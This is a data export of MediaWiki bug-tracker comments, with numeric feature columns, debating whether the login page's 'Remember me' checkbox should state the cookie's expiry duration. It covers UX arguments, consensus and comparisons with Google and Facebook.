229586,"""Remember me"" on Login interface should state duration","As I said on bug 60437 already, I also think Isarra's proposal in comment 49 here is the best solution.",,,1391006302,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,True,,,22,True,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,13.0,4.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,3.652173913043478,0.9565217391304348,"As I said on bug 60437 already, I also think Isarra's proposal in comment 49 here is the best solution."
229580,"""Remember me"" on Login interface should state duration","(In reply to comment #28)
> If it's likely that we
> change our config to be the same based on a privacy policy revision, then
> there's no need to say something extra

Before Steven says I'm reading too much into this, here he states A -> B, Isarra et al. state ¬B. But Steven's sentence is equivalent to ¬B -> ¬A, hence the logic translation of his concerns is what I said in comment 51. :)",,,1390900419,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,True,,,21,True,1.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,3.0,0.0,6.0,10.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,10.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,3.0,19.0,0.0,1.0,4.0,0.0,1.0,0.0,1.0,3.0,0.0,3.0,0.0,6.0,10.0,15.0,0.0,0.0,0.0,6.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,1.0,3.25,0.7941176470588235,"(In reply to comment #28)
QUOTE
QUOTE
QUOTE

Before Steven says I'm reading too much into this, here he states A -> B, Isarra et al. state ¬B. But Steven's sentence is equivalent to ¬B -> ¬A, hence the logic translation of his concerns is what I said in comment 51. :)"
229573,"""Remember me"" on Login interface should state duration","(In reply to comment #52)
> Please don't read ulterior motives in to what I'm saying on the bug.

You talked so much in this bug that there's no need to invent anything. :) See in particular your comment 28; but also comment 10, comment 12, comment 23, comment 30.",,,1390900089,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,True,,,21,True,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,12.0,2.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,14.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,2.0,4.0,0.0,2.0,0.0,2.0,8.0,0.0,12.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.36734693877551,0.7959183673469388,"(In reply to comment #52)
QUOTE

You talked so much in this bug that there's no need to invent anything. :) See in particular your comment 28; but also comment 10, comment 12, comment 23, comment 30."
229566,"""Remember me"" on Login interface should state duration","**swalling** wrote:

(In reply to comment #51)
> Agreed. I think Steven is only bothered that if we mention an expiration
> explicitly people will get used to it, barring his plans to raise the cookie
> length. Isarra's proposal should make everyone happy.

Please don't read ulterior motives in to what I'm saying on the bug. 

Isarra's proposal is not reasonable. You want us to add logic for displaying the cookie expiration, while also saying ""though what the boundary would be"" for actually showing it is ""up in the air"". This is not a specification for a patch, it's vague handwaving.",,,1390899583,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,False,,,21,True,0.0,0.0,0.0,0.0,3.0,3.0,2.0,0.0,1.0,0.0,3.0,2.0,0.0,0.0,0.0,2.0,2.0,6.0,12.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,1.0,2.0,6.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,6.0,4.0,9.0,2.0,0.0,7.0,0.0,0.0,0.0,1.0,5.0,1.0,1.0,0.0,5.0,12.0,3.0,0.0,4.0,0.0,5.0,0.0,2.0,2.0,1.0,4.0,0.0,0.0,0.0,3.5,0.6666666666666666,"**swalling** wrote:

(In reply to comment #51)
QUOTE
QUOTE
QUOTE

Please don't read ulterior motives in to what I'm saying on the bug. 

Isarra's proposal is not reasonable. You want us to add logic for displaying the cookie expiration, while also saying ""though what the boundary would be"" for actually showing it is ""up in the air"". This is not a specification for a patch, it's vague handwaving."
229560,"""Remember me"" on Login interface should state duration","Agreed. I think Steven is only bothered that if we mention an expiration explicitly people will get used to it, barring his plans to raise the cookie length. Isarra's proposal should make everyone happy.",,,1390893717,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,True,,,21,True,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,5.0,10.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,3.0,3.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,10.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,10.0,10.0,5.0,0.0,0.0,0.0,10.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,4.358974358974359,0.9230769230769231,"Agreed. I think Steven is only bothered that if we mention an expiration explicitly people will get used to it, barring his plans to raise the cookie length. Isarra's proposal should make everyone happy."
229554,"""Remember me"" on Login interface should state duration","(In reply to comment #49)
> The expiry time should not be displayed if it's set to indefinite. This may
> also apply if it's set to a sufficiently long duration (for instance if it
> expires after 6 months, that may well be plenty that it doesn't really matter
> anymore), though what the boundary would be, or if this is indeed that case,
> is more up in the air.
> 
> It is most important to specify the duration where it is shorter, such as of
> a week (wikitech), 30 days (wikipedia), etc. There, the logins will be
> expiring quite frequently, and for the users, quite unexpectedly: if they told
> it to keep them logged in, it will appear to them that they are being logged
> out after they specifically told it to not log them out, because that's what
> it said.

This seems sensible.",,,1390891476,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,True,,,21,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,5.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.054054054054054,0.40540540540540543,"(In reply to comment #49)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

This seems sensible."
229548,"""Remember me"" on Login interface should state duration","(In reply to comment #45)
> 
> For the record, Google still just says ""Stay signed in""; they have a finite
> but long expiration...

Aye, indefinite ones or very long ones probably wouldn't need to be specified.

Copying what I said on Bug 60437 over to here (sorry about it winding up over there initially):

The expiry time should not be displayed if it's set to indefinite. This may also apply if it's set to a sufficiently long duration (for instance if it expires after 6 months, that may well be plenty that it doesn't really matter anymore), though what the boundary would be, or if this is indeed that case, is more up in the air.

It is most important to specify the duration where it is shorter, such as of a week (wikitech), 30 days (wikipedia), etc. There, the logins will be expiring quite frequently, and for the users, quite unexpectedly: if they told it to keep them logged in, it will appear to them that they are being logged out after they specifically told it to not log them out, because that's what it said.

> For Facebook, the main cookie expires in one month if it's checked, similar
> to our current behavior.

Hey, just because Facebook does something, that doesn't mean it's a good idea. I mean, yeah, I doubt it causes them any real problems, but we can still do better.


(In reply to comment #47)

You're wrong. Stating that things are completely obvious does not make you not wrong. Interestingly, if you revert again, you'll be past three reverts on this bug. You're from Wikipedia, right? They have a rather neat three revert rule...",,,1390891187,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,False,,,21,True,0.25,0.25,0.5,1.0,2.0,4.25,2.0,0.5,0.25,1.5,1.25,1.75,0.0,0.0,0.0,1.25,0.0,9.5,11.0,0.25,1.75,0.25,0.0,0.0,1.0,0.0,0.0,0.0,0.75,1.25,0.0,6.0,0.75,3.25,2.0,1.5,0.25,0.0,0.5,0.25,0.0,2.25,0.5,0.5,0.0,0.5,0.0,0.0,0.25,7.0,1.25,0.75,0.5,1.0,0.0,0.0,0.25,0.0,0.25,0.0,0.75,2.25,0.25,0.5,0.25,0.0,0.0,2.5,3.5,6.75,3.75,1.0,4.0,0.0,0.0,0.0,0.5,5.0,0.5,2.0,0.0,8.25,11.0,1.75,0.25,0.0,0.0,8.25,0.0,1.5,1.0,1.0,1.0,0.75,0.25,0.5,3.619976265822785,0.7138449367088606,"(In reply to comment #45)
QUOTE
QUOTE
QUOTE

Aye, indefinite ones or very long ones probably wouldn't need to be specified.

Copying what I said on Bug 60437 over to here (sorry about it winding up over there initially):

The expiry time should not be displayed if it's set to indefinite. This may also apply if it's set to a sufficiently long duration (for instance if it expires after 6 months, that may well be plenty that it doesn't really matter anymore), though what the boundary would be, or if this is indeed that case, is more up in the air.

It is most important to specify the duration where it is shorter, such as of a week (wikitech), 30 days (wikipedia), etc. There, the logins will be expiring quite frequently, and for the users, quite unexpectedly: if they told it to keep them logged in, it will appear to them that they are being logged out after they specifically told it to not log them out, because that's what it said.

QUOTE
QUOTE

Hey, just because Facebook does something, that doesn't mean it's a good idea. I mean, yeah, I doubt it causes them any real problems, but we can still do better.


(In reply to comment #47)

You're wrong. Stating that things are completely obvious does not make you not wrong. Interestingly, if you revert again, you'll be past three reverts on this bug. You're from Wikipedia, right? They have a rather neat three revert rule..."
229540,"""Remember me"" on Login interface should state duration",*** Bug 60437 has been marked as a duplicate of this bug. ***,,,1390889815,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,False,,,21,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 60437 has been marked as a duplicate of this bug. ***
229534,"""Remember me"" on Login interface should state duration","**swalling** wrote:

(In reply to comment #46)
> I find comment 40 compelling.
> 
> Steven: while I understand that you personally disagree here, the reality is
> that MediaWiki core supports this functionality and the English Wikipedia
> uses
> it (cf. [[MediaWiki:Userlogin-remembermypassword]]). Given these two facts,
> it's reasonable to consider including the duration in the default message, in
> my opinion. And both current consensus (on this bug report) and past
> consensus
> (the duration was previously included by default, as I recall) seem to agree
> here. Please do not mark this bug as resolved/wontfix again.
> 

This is not a system where we just do what the most people commenting on the bug happen to like. We do the right thing by users. The right thing for a label description is _clarity_. Clarity is not necessarily comprehensive detail, but providing the user: 

- What essential information they need to make decisions, and no more
- What they expect, which is largely shaped by their experiences on other sites

Since it is completely obvious that you don't need to know the time period to make a decision, and literally no one has been able to provide a relevant example of another site that follows the practice being recommended, it makes no sense to revert back to the historic practice of declaring what is obviously superfluous information. Providing this information is a good example of ""implementation model"" rather than ""mental model"", meaning shaping the user interface to exactly match how the system functions behind the scenes, rather than what the user expects and needs.[1][2]

To make myself crystal clear here: I am not arguing we should be shaping core to what English Wikipedia needs. Excessively detailed copy and unnecessary logic to include the value of the cookie expiration is a bad user experience for any MediaWiki installation. 

1. http://www.uxpassion.com/blog/strategy-concepts/implementation-mental-representation-models-ux-user-experience
2. http://www.sfs.uni-tuebingen.de/~cculy/courses/S2012/visDesignEval/presentations/Chapter_2_Daniil_Sorokin.pdf",,,1390888378,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,False,,,21,True,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,1.3333333333333333,5.666666666666667,2.0,0.0,0.0,0.0,1.0,0.3333333333333333,0.0,0.0,0.0,1.6666666666666667,0.3333333333333333,6.333333333333333,9.666666666666666,0.0,3.3333333333333335,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,6.333333333333333,1.6666666666666667,0.6666666666666666,2.0,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.6666666666666666,1.0,0.0,4.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,14.333333333333334,0.3333333333333333,0.3333333333333333,0.3333333333333333,1.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.6666666666666666,1.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,6.666666666666667,4.0,9.666666666666666,1.3333333333333333,1.6666666666666667,9.666666666666666,0.0,0.0,0.0,0.3333333333333333,4.0,0.3333333333333333,0.6666666666666666,0.0,3.6666666666666665,9.666666666666666,5.0,0.0,1.3333333333333333,0.0,3.6666666666666665,0.0,3.3333333333333335,2.0,0.3333333333333333,2.6666666666666665,0.3333333333333333,0.3333333333333333,1.0,4.12280701754386,0.6631578947368421,"**swalling** wrote:

(In reply to comment #46)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

This is not a system where we just do what the most people commenting on the bug happen to like. We do the right thing by users. The right thing for a label description is _clarity_. Clarity is not necessarily comprehensive detail, but providing the user: 

- What essential information they need to make decisions, and no more
- What they expect, which is largely shaped by their experiences on other sites

Since it is completely obvious that you don't need to know the time period to make a decision, and literally no one has been able to provide a relevant example of another site that follows the practice being recommended, it makes no sense to revert back to the historic practice of declaring what is obviously superfluous information. Providing this information is a good example of ""implementation model"" rather than ""mental model"", meaning shaping the user interface to exactly match how the system functions behind the scenes, rather than what the user expects and needs.[1][2]

To make myself crystal clear here: I am not arguing we should be shaping core to what English Wikipedia needs. Excessively detailed copy and unnecessary logic to include the value of the cookie expiration is a bad user experience for any MediaWiki installation. 

1. URL
2. URL"
229526,"""Remember me"" on Login interface should state duration","I find comment 40 compelling.

Steven: while I understand that you personally disagree here, the reality is that MediaWiki core supports this functionality and the English Wikipedia uses it (cf. [[MediaWiki:Userlogin-remembermypassword]]). Given these two facts, it's reasonable to consider including the duration in the default message, in my opinion. And both current consensus (on this bug report) and past consensus (the duration was previously included by default, as I recall) seem to agree here. Please do not mark this bug as resolved/wontfix again.

(In reply to comment #39)
> MZMcBride, the ""easy"" keyword should not be used for issues for which
> the fix is controversial, including those that someone at the WMF would
> likely mark RESOLVED WONTFIX. It doesn't make sense to consider these
> to be ""Issues recommended to try for new developers"".

Kevin: I'm not sure one Wikimedia Foundation staffer objecting makes this controversial. As comment 40 summarizes, consensus seems fairly clear here. This bug _is_ trivial to resolve, but if it's somehow still inexplicably a political issue to resolve this bug, then you're correct that we can safely drop the ""easy"" keyword here.",,,1390886823,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,True,,,21,True,0.0,0.0,0.0,0.5,1.0,4.5,1.0,0.0,0.0,0.5,3.0,1.0,0.0,0.0,0.0,3.0,0.5,8.0,9.5,0.0,2.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,7.5,2.0,1.5,3.5,1.0,1.0,0.0,0.0,2.0,0.0,0.0,1.0,3.0,0.5,0.0,0.0,0.0,0.5,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,3.5,1.5,11.5,2.5,2.0,7.5,0.0,0.0,0.0,0.5,4.0,0.5,2.5,0.0,5.5,9.5,6.5,0.0,1.0,0.0,5.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,1.0,4.1020408163265305,0.7193877551020409,"I find comment 40 compelling.

Steven: while I understand that you personally disagree here, the reality is that MediaWiki core supports this functionality and the English Wikipedia uses it (cf. [[MediaWiki:Userlogin-remembermypassword]]). Given these two facts, it's reasonable to consider including the duration in the default message, in my opinion. And both current consensus (on this bug report) and past consensus (the duration was previously included by default, as I recall) seem to agree here. Please do not mark this bug as resolved/wontfix again.

(In reply to comment #39)
QUOTE
QUOTE
QUOTE
QUOTE

Kevin: I'm not sure one Wikimedia Foundation staffer objecting makes this controversial. As comment 40 summarizes, consensus seems fairly clear here. This bug _is_ trivial to resolve, but if it's somehow still inexplicably a political issue to resolve this bug, then you're correct that we can safely drop the ""easy"" keyword here."
229517,"""Remember me"" on Login interface should state duration","(In reply to comment #5)
> I don't know the exact behavior, but for example Google (""Stay signed in""),
> Facebook (""Keep me logged in""), and Twitter (""Remember me"") all have such a
> checkbox on log in, and none say the time period.

For the record, Google still just says ""Stay signed in""; they have a finite but long expiration (two years for what seem to be the main cookies, but shorter for another one that is not impacted by ""Stay signed in"".

For Facebook, the main cookie expires in one month if it's checked, similar to our current behavior.",,,1390885763,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,False,,,21,True,0.0,0.0,0.0,1.0,1.0,7.0,1.0,0.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,1.0,3.0,0.0,1.0,0.0,3.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,12.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,5.0,2.0,12.0,1.0,2.0,6.0,0.0,0.0,0.0,1.0,5.0,0.0,3.0,0.0,3.0,15.0,3.0,0.0,5.0,0.0,3.0,0.0,2.0,1.0,0.0,0.0,1.0,0.0,0.0,3.5,0.6976744186046512,"(In reply to comment #5)
QUOTE
QUOTE
QUOTE

For the record, Google still just says ""Stay signed in""; they have a finite but long expiration (two years for what seem to be the main cookies, but shorter for another one that is not impacted by ""Stay signed in"".

For Facebook, the main cookie expires in one month if it's checked, similar to our current behavior."
229508,"""Remember me"" on Login interface should state duration","(In reply to comment #42)
> [...] with the upcoming privacy policy we will not
> need to have a hard 30 day limit on cookies. [...]

Note: possibly upcoming, may not need.",,,1390771607,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,True,,,21,True,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,5.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.090909090909091,0.9090909090909091,"(In reply to comment #42)
QUOTE
QUOTE

Note: possibly upcoming, may not need."
229500,"""Remember me"" on Login interface should state duration","**swalling** wrote:

(In reply to comment #42)

> 2. Even without differences in cookie policies, the information is not
> necessary to decide ""Do I want this site to remember me?"". It's a simple yes
> or
> no state. The user does not 
> 

Sorry, got clipped. The final sentence is, ""The user does not have multiple options, only a binary state.""",,,1390771509,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,False,,,21,True,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,4.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,17.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,0.0,4.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.1346153846153846,0.6730769230769231,"**swalling** wrote:

(In reply to comment #42)

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Sorry, got clipped. The final sentence is, ""The user does not have multiple options, only a binary state."""
229491,"""Remember me"" on Login interface should state duration","**swalling** wrote:

(In reply to comment #40)
> Furthermore, by telling the user that we
> are going to keep them logged in, then logging them out after 30 days we are
> effectively lying to them - can you tell me that's good UX?

Yes, I can elaborate. 

The goal of the checkbox is to help user stay logged in for longer than their normal browser session. The label should provide only as much information is needed for the user to decide, ""Do I want to have this site remember my login on this computer?"" 

1. When asking about good UX in log in forms, etc. we can obviously look to other sites, since we are far from the only people to have a user registration systems. I cannot find a _single_ good example of a login form which specifies an exact time limit on saved login sessions, even if cookie policies may differ. This obviously supports the view that it would be unusual to present this, and probably unnecessary. 

2. Even without differences in cookie policies, the information is not necessary to decide ""Do I want this site to remember me?"". It's a simple yes or no state. The user does not 

3. The fact that our cookie policy only allows for 30 days of remembering a user _even if_ they opt in to being remembered is a broken UX. Numerous users have complained about this, and with the upcoming privacy policy we will not need to have a hard 30 day limit on cookies. This will soon make the need to specify a time limit completely unnecessary, because our cookie policy for users who opt-in via this checkbox will be just like other sites. 

4. Regardless of what time period the cookie lasts, we are fulfilling the user's request to be remembered beyond the normal session. The idea that we're lying to users without the 30 day mention is absurd. 

TL;DR: this will soon be obviated by the new privacy policy which won't require 30 day limits on cookies, and it's unnecessary information for the user to be able to make a decision about whether they do or do not want to be remembered.",,,1390771417,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,False,,,21,True,0.25,0.0,0.25,1.25,1.5,6.25,2.0,0.25,0.0,0.5,2.0,0.5,0.0,0.75,0.0,3.25,0.5,5.5,14.25,0.0,3.5,0.25,0.25,0.0,0.0,0.0,0.0,0.25,1.0,1.25,0.0,5.5,2.25,0.75,1.5,0.0,0.0,0.0,0.0,1.5,0.25,0.75,0.0,2.25,0.25,0.75,0.75,0.0,0.0,17.75,1.0,1.25,0.0,0.25,0.0,0.0,0.0,0.25,0.75,0.0,0.5,1.75,0.0,0.0,0.0,0.75,0.0,7.0,3.5,6.5,2.25,1.25,10.25,0.0,0.0,0.0,0.25,7.5,0.5,1.5,0.0,4.75,14.25,1.0,0.5,1.0,0.0,4.75,0.0,1.25,2.5,0.25,1.0,0.25,0.0,1.25,3.7897979797979797,0.7293434343434343,"**swalling** wrote:

(In reply to comment #40)
QUOTE
QUOTE
QUOTE

Yes, I can elaborate. 

The goal of the checkbox is to help user stay logged in for longer than their normal browser session. The label should provide only as much information is needed for the user to decide, ""Do I want to have this site remember my login on this computer?"" 

1. When asking about good UX in log in forms, etc. we can obviously look to other sites, since we are far from the only people to have a user registration systems. I cannot find a _single_ good example of a login form which specifies an exact time limit on saved login sessions, even if cookie policies may differ. This obviously supports the view that it would be unusual to present this, and probably unnecessary. 

2. Even without differences in cookie policies, the information is not necessary to decide ""Do I want this site to remember me?"". It's a simple yes or no state. The user does not 

3. The fact that our cookie policy only allows for 30 days of remembering a user _even if_ they opt in to being remembered is a broken UX. Numerous users have complained about this, and with the upcoming privacy policy we will not need to have a hard 30 day limit on cookies. This will soon make the need to specify a time limit completely unnecessary, because our cookie policy for users who opt-in via this checkbox will be just like other sites. 

4. Regardless of what time period the cookie lasts, we are fulfilling the user's request to be remembered beyond the normal session. The idea that we're lying to users without the 30 day mention is absurd. 

TL;DR: this will soon be obviated by the new privacy policy which won't require 30 day limits on cookies, and it's unnecessary information for the user to be able to make a decision about whether they do or do not want to be remembered."
229484,"""Remember me"" on Login interface should state duration","While Thehelpfulone makes good points, I wasn't opposed to closing this bug specifically since according to the bug description/title way up there, it is resolved (hence why I just opened a new bug for the issue that we're poking at now), but... eh. Trying to move a discussion can be iffy and we're all already here so I just don't know.

Andre! What do you think?",,,1390764010,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,False,,,21,True,1.0,0.0,0.0,2.0,2.0,4.0,1.0,0.0,0.0,0.0,1.0,5.0,0.0,0.0,0.0,6.0,0.0,18.0,10.0,0.0,1.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,7.0,2.0,1.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,2.0,0.0,1.0,1.0,0.0,0.0,7.0,0.0,1.0,1.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,4.0,10.0,5.0,2.0,6.0,0.0,0.0,1.0,0.0,5.0,1.0,0.0,0.0,8.0,10.0,2.0,1.0,0.0,0.0,8.0,0.0,2.0,2.0,0.0,5.0,0.0,0.0,0.0,3.6265060240963853,0.8072289156626506,"While Thehelpfulone makes good points, I wasn't opposed to closing this bug specifically since according to the bug description/title way up there, it is resolved (hence why I just opened a new bug for the issue that we're poking at now), but... eh. Trying to move a discussion can be iffy and we're all already here so I just don't know.

Andre! What do you think?"
229476,"""Remember me"" on Login interface should state duration","**Thehelpfulonewiki** wrote:

So looking through the comments, I see the following breakdown:

Support: Myself, MZMcBride, Nemo, Amgine, Isarra, Matt Walker, Raimond

Opposition: Steven Walling, Matt F (weak)

It seems to be Steven you're the only person that's strongly opposed against this idea - the rest of the people that have commented on this bug (who are from a wide range of projects/locations) support this change.

I don't think that this change should be opposed on the basis of *one* person's opposition - we work with consensus. Furthermore, by telling the user that we are going to keep them logged in, then logging them out after 30 days we are effectively lying to them - can you tell me that's good UX?",,,1390761770,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,False,,,21,True,0.0,0.0,0.5,0.5,0.5,1.5,0.5,0.0,0.0,0.0,1.0,1.0,0.0,0.5,0.0,4.0,0.0,4.0,10.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,7.0,1.0,0.5,1.5,1.0,0.5,0.0,0.5,0.0,0.0,2.0,0.0,1.5,0.0,0.0,0.5,1.0,0.5,9.0,0.5,2.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.5,1.0,0.0,4.5,3.0,11.5,0.5,0.0,7.5,0.0,0.0,0.0,0.0,3.0,0.0,2.5,0.0,7.0,10.0,8.5,0.5,0.0,0.0,7.0,0.0,2.0,0.5,2.5,3.5,0.0,0.0,0.0,3.78125,0.73125,"**Thehelpfulonewiki** wrote:

